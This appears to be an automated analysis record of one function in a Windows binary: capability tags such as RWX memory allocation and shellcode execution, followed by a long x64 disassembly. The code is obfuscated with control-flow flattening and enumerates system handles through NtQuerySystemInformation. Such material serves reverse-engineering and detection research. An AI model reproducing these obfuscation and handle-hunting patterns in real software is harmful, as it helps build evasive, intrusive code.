Function at 0x14005b956
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x168
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xd0], xmm6
mov rsi, rcx
xorps xmm6, xmm6
mov r14, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rbx, [rbp + 0x90]
mov dword [rbp + 0x9c], eax
mov dword [rbp + 0xa0], eax
mov dword [rbp + 0xa4], eax
mov dword [rbp + 0x98], eax
mov qword [rbp + 0x48], rax
mov ecx, 0x6ec77807
cmp ecx, 0xe6e1b58b
jle 0x14005ba56
cmp ecx, 0x35728f3a
jle 0x14005bac3
cmp ecx, 0x593837b8
jle 0x14005bbaf
cmp ecx, 0x6c27ce2d
jg 0x14005bde4
cmp ecx, 0x5f190c51
jle 0x14005c045
cmp ecx, 0x661f0875
jg 0x14005c517
cmp ecx, 0x5f190c52
je 0x14005c779
cmp ecx, 0x65e6bac6
jne 0x14005b9b4
lea rax, [rbp + 0x38]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x38], 0
mov r8, qword [rbp + 0x60]
add r8, 8
mov rdx, qword [rbp + 0x18]
sub rsp, 0x20
mov r9d, 8
mov rcx, rsi
call fcn.140056911
add rsp, 0x20
mov byte [rbp + 0xc3], al
mov ecx, 0x1c71d196
jmp 0x14005b9b4
cmp ecx, 0xb7c7a921
jle 0x14005bb27
cmp ecx, 0xc6ebf1a2
jle 0x14005bc26
cmp ecx, 0xdb721682
jg 0x14005be1e
cmp ecx, 0xcd85ef3b
jle 0x14005c0a7
cmp ecx, 0xd07af40f
jg 0x14005c541
cmp ecx, 0xcd85ef3c
je 0x14005c793
cmp ecx, 0xcf006640
jne 0x14005b9b4
mov eax, dword [rbp - 4]
mov qword [rbp + 0x48], rax
mov ecx, 0xd89099c
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x18], rax
jmp 0x14005b9b4
cmp ecx, 0xd89099b
jle 0x14005bcff
cmp ecx, 0x245161da
jg 0x14005be62
cmp ecx, 0x144b81fe
jle 0x14005c0f4
cmp ecx, 0x1c71d195
jg 0x14005c57d
cmp ecx, 0x144b81ff
je 0x14005c7d4
cmp ecx, 0x16f48abb
jne 0x14005b9b4
mov ecx, 0x923f3f15
mov dword [rbp + 0x94], 4
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x40], rax
jmp 0x14005b9b4
cmp ecx, 0xa0b8c5c6
jg 0x14005bd94
cmp ecx, 0x96d40cbe
jle 0x14005be9c
cmp ecx, 0x9c284e8c
jle 0x14005c131
cmp ecx, 0x9ccbc266
jg 0x14005c5aa
cmp ecx, 0x9c284e8d
je 0x14005c7f7
cmp ecx, 0x9c952543
jne 0x14005b9b4
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xcc]
mov ecx, 0xc998707e
jmp 0x14005b9b4
cmp ecx, 0x442ec8b0
jle 0x14005bedd
cmp ecx, 0x4d5e756b
jle 0x14005c192
cmp ecx, 0x518cf6e4
jg 0x14005c5d3
cmp ecx, 0x4d5e756c
je 0x14005c809
cmp ecx, 0x4f3a61e9
jne 0x14005b9b4
mov rax, qword [rbp - 0x28]
mov dword [rbp + 0x90], 0
sub rsp, 0x20
mov ecx, 0x40
xor edx, edx
xor r8d, r8d
mov r9, rbx
call sub.ntdll.dll_NtQuerySystemInformation
add rsp, 0x20
mov dword [rbp + 0x74], eax
mov ecx, 0xb6fbb251
xor eax, eax
mov qword [rbp - 0x10], rax
jmp 0x14005b9b4
cmp ecx, 0xbba0295f
jle 0x14005bf2b
cmp ecx, 0xbcdfac1a
jle 0x14005c1d4
cmp ecx, 0xc44226cb
jg 0x14005c5f5
cmp ecx, 0xbcdfac1b
je 0x14005c85a
cmp ecx, 0xbf9a6c4c
jne 0x14005b9b4
movzx ecx, word [rbp + 0xca]
add rcx, rcx
sub rsp, 0x20
call fcn.1401e58e8
add rsp, 0x20
mov dword [rbp + 4], r13d
mov r13d, r15d
mov r15d, r12d
mov r12, rbx
mov rbx, rax
mov rax, qword [rbp + 0xb0]
movzx r8d, word [rax]
add r8, r8
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
call fcn.14030cf30
add rsp, 0x20
mov rax, qword [rbp + 0xb0]
movzx r9d, word [rax]
add r9, r9
mov rax, qword [rbp + 0x80]
mov r8, qword [rax + 8]
sub rsp, 0x20
mov rcx, rsi
mov rdx, rbx
mov rbx, r12
mov r12d, r15d
mov r15d, r13d
mov r13d, dword [rbp + 4]
call fcn.140056911
add rsp, 0x20
mov rax, qword [rbp + 0xb0]
mov word [rax], 0
mov rax, qword [rbp + 0x88]
mov ecx, 0xf7d918bc
jmp 0x14005b9b4
cmp ecx, 0xf8235b7b
jle 0x14005bfae
cmp ecx, 0xff956926
jle 0x14005c210
cmp ecx, 0x70d519d
jg 0x14005c630
cmp ecx, 0xff956927
je 0x14005c878
cmp ecx, 0x4483b60
jne 0x14005b9b4
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xb8]
add r8, 8
mov rdx, qword [rbp + 0x58]
sub rsp, 0x20
mov r9d, 8
mov rcx, rsi
call fcn.140056911
add rsp, 0x20
mov ecx, 0xb8f3aefe
jmp 0x14005b9b4
cmp ecx, 0xa7ed15ad
jle 0x14005bff7
cmp ecx, 0xb18cc58a
jle 0x14005c23e
cmp ecx, 0xb6294e35
jg 0x14005c6b3
cmp ecx, 0xb18cc58b
je 0x14005c88e
cmp ecx, 0xb515cb9c
jne 0x14005b9b4
mov ecx, 0x7b9f1dc3
mov dword [rbp + 0x9c], 0
jmp 0x14005b9b4
cmp ecx, 0x6f2eacea
jle 0x14005c294
cmp ecx, 0x79e645cd
jg 0x14005c6f6
cmp ecx, 0x6f2eaceb
je 0x14005c8a0
cmp ecx, 0x79bd04c5
jne 0x14005b9b4
mov ecx, 0x9c284e8d
jmp 0x14005b9b4
cmp ecx, 0xe12c8f90
jle 0x14005c2f4
cmp ecx, 0xe49329bc
jg 0x14005c723
cmp ecx, 0xe12c8f91
je 0x14005c8b1
cmp ecx, 0xe2e0e809
jne 0x14005b9b4
mov ecx, 0xc44226cc
mov dword [rbp + 0xa4], 0
jmp 0x14005b9b4
cmp ecx, 0x2d790e3a
jle 0x14005c333
cmp ecx, 0x331e3936
jg 0x14005c759
cmp ecx, 0x2d790e3b
je 0x14005c8ca
cmp ecx, 0x2e79c533
jne 0x14005b9b4
mov ecx, 0x4d5e756c
jmp 0x14005b9b4
cmp ecx, 0x863b3d7c
jg 0x14005c361
cmp ecx, 0x838bec3b
je 0x14005c8e8
cmp ecx, 0x844dd19f
je 0x14005c906
cmp ecx, 0x84d767ec
jne 0x14005b9b4
mov rax, qword [rbp + 0x80]
mov ecx, 0x97fd8bce
jmp 0x14005b9b4
cmp ecx, 0x38d41c26
jg 0x14005c3a4
cmp ecx, 0x35728f3b
je 0x14005c91c
cmp ecx, 0x37908722
je 0x14005c926
cmp ecx, 0x37b86bea
jne 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x84d767ec
mov eax, 0x97fd8bce
jmp 0x14005cde4
cmp ecx, 0xb9e1579f
jg 0x14005c3e6
cmp ecx, 0xb7c7a922
je 0x14005c944
cmp ecx, 0xb8cbab40
je 0x14005c96e
cmp ecx, 0xb8f3aefe
jne 0x14005b9b4
mov r8, qword [rbp + 0xb8]
add r8, 8
mov rdx, qword [rbp + 0x58]
sub rsp, 0x20
mov r9d, 8
mov rcx, rsi
call fcn.140056911
add rsp, 0x20
cmp qword [rbp + 0x60], 0
setne cl
and cl, al
mov byte [rbp + 0xc4], cl
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4483b60
mov eax, 0xa0b8c5c7
jmp 0x14005cde4
cmp ecx, 0xf0269e8b
jg 0x14005c414
cmp ecx, 0xe6e1b58c
je 0x14005c98c
cmp ecx, 0xe8574365
je 0x14005c9bb
cmp ecx, 0xebea6302
jne 0x14005b9b4
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov ecx, 0x25556b1c
jmp 0x14005b9b4
cmp ecx, 0xa6b3d7c5
jg 0x14005c4e1
cmp ecx, 0xa0b8c5c7
je 0x14005c9d4
cmp ecx, 0xa17d03dd
je 0x14005c9ed
cmp ecx, 0xa191f4b6
jne 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4483b60
mov eax, 0xb8f3aefe
jmp 0x14005cde4
cmp ecx, 0x593837b9
je 0x14005ca0b
cmp ecx, 0x5b11c047
je 0x14005ca29
cmp ecx, 0x5e1bc55b
jne 0x14005b9b4
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0xb8], rax
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x8000
call rdi
add rsp, 0x20
cmp qword [rbp + 0xb8], 0
mov ecx, 0xa7ed15ae
mov eax, 0x96d40cbf
cmove ecx, eax
jmp 0x14005b9b4
cmp ecx, 0xc6ebf1a3
je 0x14005ca47
cmp ecx, 0xc7f15181
je 0x14005ca54
cmp ecx, 0xc998707e
jne 0x14005b9b4
mov eax, dword [rbp + 0xcc]
inc eax
mov dword [rbp - 4], eax
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9c952543
mov eax, 0x245161db
jmp 0x14005cde4
cmp ecx, 0xd89099c
je 0x14005ca61
cmp ecx, 0x11214a7a
je 0x14005ca9a
cmp ecx, 0x13177454
jne 0x14005b9b4
cmp byte [rbp + 0xc5], 0
mov ecx, 0x331e3937
mov eax, 0xa745032b
cmovne ecx, eax
jmp 0x14005b9b4
cmp ecx, 0x96d40cbf
je 0x14005cab3
cmp ecx, 0x96decdea
je 0x14005cad1
cmp ecx, 0x97fd8bce
jne 0x14005b9b4
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movzx eax, word [rax]
mov word [rbp + 0xca], ax
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x84d767ec
mov eax, 0x38d41c27
jmp 0x14005cde4
cmp ecx, 0x442ec8b1
je 0x14005caef
cmp ecx, 0x461203dd
je 0x14005cb05
cmp ecx, 0x4bb20947
jne 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x565ecdb5
mov eax, 0xbcdfac1b
jmp 0x14005cde4
cmp ecx, 0xbba02960
je 0x14005cb12
cmp ecx, 0xbc260ae2
je 0x14005cb2b
cmp ecx, 0xbc97ef36
jne 0x14005b9b4
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x10], rax
mov ecx, 0xb6fbb251
mov eax, dword [rbp]
mov dword [rbp + 0x74], eax
jmp 0x14005b9b4
cmp ecx, 0xf8235b7c
je 0x14005cb35
cmp ecx, 0xfbce4bec
je 0x14005cb3f
cmp ecx, 0xfcadd3b4
jne 0x14005b9b4
mov ecx, 0xba49009b
jmp 0x14005b9b4
cmp ecx, 0xa7ed15ae
je 0x14005cb96
cmp ecx, 0xacab6f35
je 0x14005cbb4
cmp ecx, 0xaed35157
jne 0x14005b9b4
lea rax, [rbp + 0x60]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x60], 0
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x67df1dd6
mov eax, 0xbc260ae2
jmp 0x14005cde4
cmp ecx, 0x6c27ce2e
je 0x14005cbcc
cmp ecx, 0x6cf22580
je 0x14005cbea
cmp ecx, 0x6ec77807
jne 0x14005b9b4
mov eax, reloc.WS2_32.dll_recv
call fcn.1401e5ba0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x88], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1401e5ba0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
mov qword [rbp - 0x28], rbx
mov ecx, 0x4f3a61e9
jmp 0x14005b9b4
cmp ecx, 0xdb721683
je 0x14005cc1c
cmp ecx, 0xdd697449
je 0x14005cc38
cmp ecx, 0xddb8c127
jne 0x14005b9b4
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
call fcn.1401e58b4
add rsp, 0x20
mov ecx, 0x79bd04c5
jmp 0x14005b9b4
cmp ecx, 0x245161db
je 0x14005cc56
cmp ecx, 0x25556b1c
je 0x14005cc60
cmp ecx, 0x2b5c7684
jne 0x14005b9b4
mov ecx, 0x3eca1142
jmp 0x14005b9b4
cmp ecx, 0x863b3d7d
je 0x14005cca3
cmp ecx, 0x88bf6613
je 0x14005ccad
cmp ecx, 0x923f3f15
jne 0x14005b9b4
mov eax, dword [rbp + 0x94]
mov dword [rbp + 0x68], eax
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x20]
mov ecx, 0xacab6f35
jmp 0x14005b9b4
cmp ecx, 0x38d41c27
je 0x14005ccc5
cmp ecx, 0x3bcd6c45
je 0x14005cccf
cmp ecx, 0x3eca1142
jne 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9d44043a
mov eax, 0xe6e1b58c
jmp 0x14005cde4
cmp ecx, 0xb9e157a0
je 0x14005cce4
cmp ecx, 0xba49009b
je 0x14005ccee
cmp ecx, 0xbb13e064
jne 0x14005b9b4
mov ecx, 0xddb8c127
jmp 0x14005b9b4
cmp ecx, 0xf0269e8c
je 0x14005cd0c
cmp ecx, 0xf75d654e
je 0x14005cd26
cmp ecx, 0xf7d918bc
jne 0x14005b9b4
movzx ecx, word [rbp + 0xca]
add rcx, rcx
sub rsp, 0x20
call fcn.1401e58e8
add rsp, 0x20
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0xb0]
movzx r8d, word [rax]
add r8, r8
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
xor edx, edx
call fcn.14030cf30
add rsp, 0x20
mov rax, qword [rbp + 0xb0]
movzx r9d, word [rax]
add r9, r9
mov rax, qword [rbp + 0x80]
mov r8, qword [rax + 8]
mov rdx, qword [rbp + 0x50]
sub rsp, 0x20
mov rcx, rsi
call fcn.140056911
add rsp, 0x20
mov rax, qword [rbp + 0xb0]
mov word [rax], 0
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
add rax, 0x58
mov qword [rbp - 0x68], rax
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbf9a6c4c
mov eax, 0xb9e157a0
jmp 0x14005cde4
cmp ecx, 0xa6b3d7c6
je 0x14005cd38
cmp ecx, 0xa6e36143
je 0x14005cd42
cmp ecx, 0xa745032b
jne 0x14005b9b4
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x60], rax
mov ecx, 0x16f48abb
jmp 0x14005b9b4
cmp ecx, 0x661f0876
je 0x14005cd6c
cmp ecx, 0x67df1dd6
jne 0x14005b9b4
mov qword [rbp + 0x60], 0
mov ecx, 0xaed35157
jmp 0x14005b9b4
cmp ecx, 0xd07af410
je 0x14005cd76
cmp ecx, 0xda3d515b
jne 0x14005b9b4
mov al, byte [rbp + 0xc9]
cmp byte [rbp + 0xc8], 0
mov ecx, 0x3bcd6c45
mov edx, 0xe8574365
cmovne ecx, edx
test al, al
cmovne ecx, edx
jmp 0x14005b9b4
cmp ecx, 0x1c71d196
je 0x14005cd91
cmp ecx, 0x211a93b8
jne 0x14005b9b4
cmp dword [rbp + 0x6c], 0
sets byte [rbp + 0xc9]
mov ecx, 0xb6294e36
jmp 0x14005b9b4
cmp ecx, 0x9ccbc267
je 0x14005cdb7
cmp ecx, 0x9d44043a
jne 0x14005b9b4
mov eax, dword [rbp + 0x70]
mov rax, qword [rbp - 0x38]
mov ecx, 0xe6e1b58c
jmp 0x14005b9b4
cmp ecx, 0x518cf6e5
je 0x14005cdcb
cmp ecx, 0x565ecdb5
jne 0x14005b9b4
mov ecx, 0xbcdfac1b
jmp 0x14005b9b4
cmp ecx, 0xc44226cc
je 0x14005cdf6
cmp ecx, 0xc4491812
jne 0x14005b9b4
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x8000
call rdi
add rsp, 0x20
mov ecx, 0xcd85ef3c
jmp 0x14005b9b4
cmp ecx, 0x70d519e
je 0x14005ce10
cmp ecx, 0xa973781
jne 0x14005b9b4
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x28]
lea rcx, [rcx + rcx*4]
mov rdx, qword [rax + rcx*8 + 0x10]
mov qword [rbp - 0x50], rdx
mov rdx, qword [rax + rcx*8 + 0x18]
mov qword [rbp - 0x38], rdx
mov rdx, qword [rax + rcx*8 + 0x20]
mov qword [rbp - 0x58], rdx
mov rdx, qword [rbp + 0x20]
movups xmm0, xmmword [rax + rcx*8 + 0x28]
movups xmmword [rdx], xmm0
sub rsp, 0x20
call r14
add rsp, 0x20
mov dword [rbp + 0x70], eax
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb7c7a922
mov eax, 0x2b5c7684
jmp 0x14005cde4
cmp ecx, 0xb6294e36
je 0x14005ce1a
cmp ecx, 0xb6fbb251
jne 0x14005b9b4
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xa8], rax
mov eax, dword [rbp + 0x74]
mov dword [rbp + 0x6c], eax
mov eax, dword [rbp + 0x6c]
cmp eax, 0xc0000004
mov ecx, 0x211a93b8
mov eax, 0xa17d03dd
cmove ecx, eax
jmp 0x14005b9b4
cmp ecx, 0x79e645ce
je 0x14005ce33
cmp ecx, 0x7b9f1dc3
jne 0x14005b9b4
mov rax, qword [rbp + 0x18]
mov ecx, 0xa6e36143
mov r13d, dword [rbp + 0x9c]
jmp 0x14005b9b4
cmp ecx, 0xe49329bd
je 0x14005ce47
cmp ecx, 0xe63377c0
jne 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x863b3d7d
mov eax, 0x518cf6e5
jmp 0x14005cde4
cmp ecx, 0x331e3937
jne 0x14005ce54
mov ecx, 0x923f3f15
mov dword [rbp + 0x94], 0
jmp 0x14005cc2b
mov rax, qword [rbp + 0x10]
mov ecx, 0x7b9f1dc3
mov eax, dword [rbp + 0xa0]
mov dword [rbp + 0x9c], eax
jmp 0x14005b9b4
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x8000
call rdi
add rsp, 0x20
mov eax, dword [rbp + 0x90]
mov qword [rbp - 0x48], rax
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc4491812
mov eax, 0x2e79c533
jmp 0x14005cde4
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x8000
call rdi
add rsp, 0x20
mov ecx, 0x661f0876
jmp 0x14005b9b4
mov ecx, 0xff956927
mov al, 1
mov dword [rbp + 0x98], eax
jmp 0x14005b9b4
mov rdx, qword [rbp - 0x48]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x30], rax
mov r8d, dword [rbp + 0x90]
mov rdx, qword [rbp - 0x30]
sub rsp, 0x20
mov ecx, 0x40
mov r9, rbx
call sub.ntdll.dll_NtQuerySystemInformation
add rsp, 0x20
mov dword [rbp], eax
mov ecx, 0xbc97ef36
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x565ecdb5
mov eax, 0x9ccbc267
jmp 0x14005cde4
mov ecx, 0xc44226cc
mov eax, dword [rbp + 0x98]
mov dword [rbp + 0xa4], eax
jmp 0x14005b9b4
mov ecx, 0x5e1bc55b
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x20], rax
jmp 0x14005b9b4
mov ecx, 0xc6ebf1a3
mov r15b, byte [rbp + 0xc2]
jmp 0x14005b9b4
cmp byte [rbp + 0xc6], 0
mov ecx, 0x88bf6613
mov eax, 0xdb721683
cmovne ecx, eax
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x35728f3b
mov eax, 0xdd697449
jmp 0x14005cde4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x70d519e
mov eax, 0x96decdea
jmp 0x14005cde4
mov ecx, 0xd89099c
xor eax, eax
mov qword [rbp + 0x48], rax
xor eax, eax
mov qword [rbp - 0x18], rax
jmp 0x14005b9b4
mov ecx, 0xdd697449
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6b3d7c6
mov eax, 0xf75d654e
jmp 0x14005cde4
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x28]
lea rcx, [rcx + rcx*4]
movups xmm0, xmmword [rax + rcx*8 + 0x28]
movaps xmmword [rbp - 0x80], xmm0
sub rsp, 0x20
call r14
add rsp, 0x20
mov ecx, 0xa973781
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbf9a6c4c
mov eax, 0xf7d918bc
jmp 0x14005cde4
mov eax, dword [rbp + 0x70]
mov rcx, qword [rbp - 0x38]
cmp rcx, rax
setne byte [rbp + 0xc6]
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9d44043a
mov eax, 0xe12c8f91
jmp 0x14005cde4
cmp qword [rbp + 0xa8], 0
setne byte [rbp + 0xc7]
mov ecx, 0x11214a7a
jmp 0x14005b9b4
cmp byte [rbp + 0xc4], 0
mov ecx, 0xe49329bd
mov eax, 0x65e6bac6
cmovne ecx, eax
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc4491812
mov eax, 0xcd85ef3c
jmp 0x14005cde4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb7c7a922
mov eax, 0xa973781
jmp 0x14005cde4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6b3d7c6
mov eax, 0x37908722
jmp 0x14005cde4
mov ecx, 0x343a6606
mov r12d, r15d
jmp 0x14005b9b4
mov ecx, 0xc6ebf1a3
xor r15d, r15d
jmp 0x14005b9b4
mov rax, qword [rbp + 0x48]
mov dword [rbp + 0xcc], eax
mov rax, qword [rbp - 0x18]
mov qword [rbp + 8], rax
mov eax, dword [rbp + 0xcc]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x28]
cmp rcx, qword [rax]
mov ecx, 0x5b11c047
mov eax, 0x593837b9
cmovb ecx, eax
jmp 0x14005b9b4
cmp byte [rbp + 0xc7], 0
mov ecx, 0x838bec3b
mov eax, 0x144b81ff
cmovne ecx, eax
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf8235b7c
mov eax, 0xd07af410
jmp 0x14005cde4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x70d519e
mov eax, 0x461203dd
jmp 0x14005cde4
cmp dword [rbp + 0x68], 0
mov ecx, 0xb18cc58b
mov eax, 0x6c27ce2e
cmove ecx, eax
jmp 0x14005b9b4
mov ecx, 0x343a6606
xor r12d, r12d
jmp 0x14005b9b4
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov ecx, 0xfbce4bec
jmp 0x14005b9b4
mov ecx, 0xa191f4b6
jmp 0x14005b9b4
mov ecx, 0xd07af410
jmp 0x14005b9b4
mov rax, qword [rbp + 0x88]
mov qword [rax], 0
mov r8, qword [rbp + 0x38]
add r8, 0x28
mov rdx, qword [rbp + 0x10]
sub rsp, 0x20
mov r9d, 8
mov rcx, rsi
call fcn.140056911
add rsp, 0x20
mov rcx, qword [rbp + 0x88]
cmp qword [rcx], 0
mov ecx, 0x4bb20947
mov edx, 0xebea6302
cmovne ecx, edx
test al, al
mov eax, 0x4bb20947
cmove ecx, eax
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x67df1dd6
mov eax, 0xaed35157
jmp 0x14005cde4
mov eax, dword [rbp + 0x68]
cmp eax, 6
mov ecx, 0x6c27ce2e
mov eax, 0x442ec8b1
cmovl ecx, eax
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9c952543
mov eax, 0xc998707e
jmp 0x14005cde4
mov r8, qword [rbp + 0x78]
mov rdx, qword [rbp - 0x68]
sub rsp, 0x20
mov r9d, reloc.WS2_32.dll_recv
mov rcx, rsi
call fcn.140057b8e
add rsp, 0x20
test al, al
mov ecx, 0x79e645ce
mov eax, 0xbb13e064
cmovne ecx, eax
jmp 0x14005b9b4
mov ecx, 0x923f3f15
mov dword [rbp + 0x94], 6
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x35728f3b
mov eax, 0xe2e0e809
jmp 0x14005cde4
mov ecx, 0xcf006640
jmp 0x14005b9b4
mov rax, qword [rbp + 0x78]
movups xmmword [rax], xmm6
mov rax, qword [rbp + 0x88]
mov r8, qword [rax]
add r8, 0x58
mov rdx, qword [rbp + 0x78]
sub rsp, 0x20
mov r9d, reloc.WS2_32.dll_recv
mov rcx, rsi
call fcn.140056911
add rsp, 0x20
test al, al
mov ecx, 0x2d790e3b
mov eax, 0x37b86bea
cmovne ecx, eax
jmp 0x14005b9b4
mov ecx, 0x518cf6e5
jmp 0x14005b9b4
mov rax, qword [rbp - 0x58]
cmp rax, rsi
sete byte [rbp + 0xc5]
mov ecx, 0x13177454
jmp 0x14005b9b4
mov ecx, 0xf0269e8c
jmp 0x14005b9b4
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x30], rax
mov ecx, 0xe63377c0
jmp 0x14005b9b4
mov ecx, 0x6cf22580
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfcadd3b4
mov eax, 0x6f2eaceb
jmp 0x14005cde4
cmp word [rbp + 0xca], 0
mov ecx, 0xb8cbab40
mov eax, 0x2d790e3b
cmove ecx, eax
jmp 0x14005b9b4
mov ecx, 0x5e1bc55b
mov rax, qword [rbp + 8]
mov qword [rbp - 0x20], rax
jmp 0x14005b9b4
mov ecx, 0x37908722
jmp 0x14005b9b4
mov eax, r13d
and al, 1
mov byte [rbp + 0xc2], al
mov rax, qword [rbp + 0x58]
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfcadd3b4
mov eax, 0xba49009b
jmp 0x14005cde4
mov ecx, 0x838bec3b
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf8235b7c
mov eax, 0xc7f15181
jmp 0x14005cde4
cmp qword [rbp + 0x38], 0
mov ecx, 0xb515cb9c
mov eax, 0xbba02960
cmovne ecx, eax
cmp byte [rbp + 0xc3], 0
mov eax, 0xb515cb9c
cmove ecx, eax
jmp 0x14005b9b4
mov ecx, 0x5f190c52
mov dword [rbp + 0xa0], 0
jmp 0x14005b9b4
mov eax, dword [0x1403fb564]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x863b3d7d
mov eax, 0x844dd19f
cmove ecx, eax
cmp dword [0x1403fb568], 0xa
cmovl ecx, eax
jmp 0x14005b9b4
mov rax, qword [rbp + 0x78]
mov ecx, 0x5f190c52
mov eax, dword [rbp + 0xa4]
mov dword [rbp + 0xa0], eax
jmp 0x14005b9b4
mov ecx, 0x96decdea
jmp 0x14005b9b4
cmp qword [rbp + 0xa8], 0
sete byte [rbp + 0xc8]
mov ecx, 0xda3d515b
jmp 0x14005b9b4
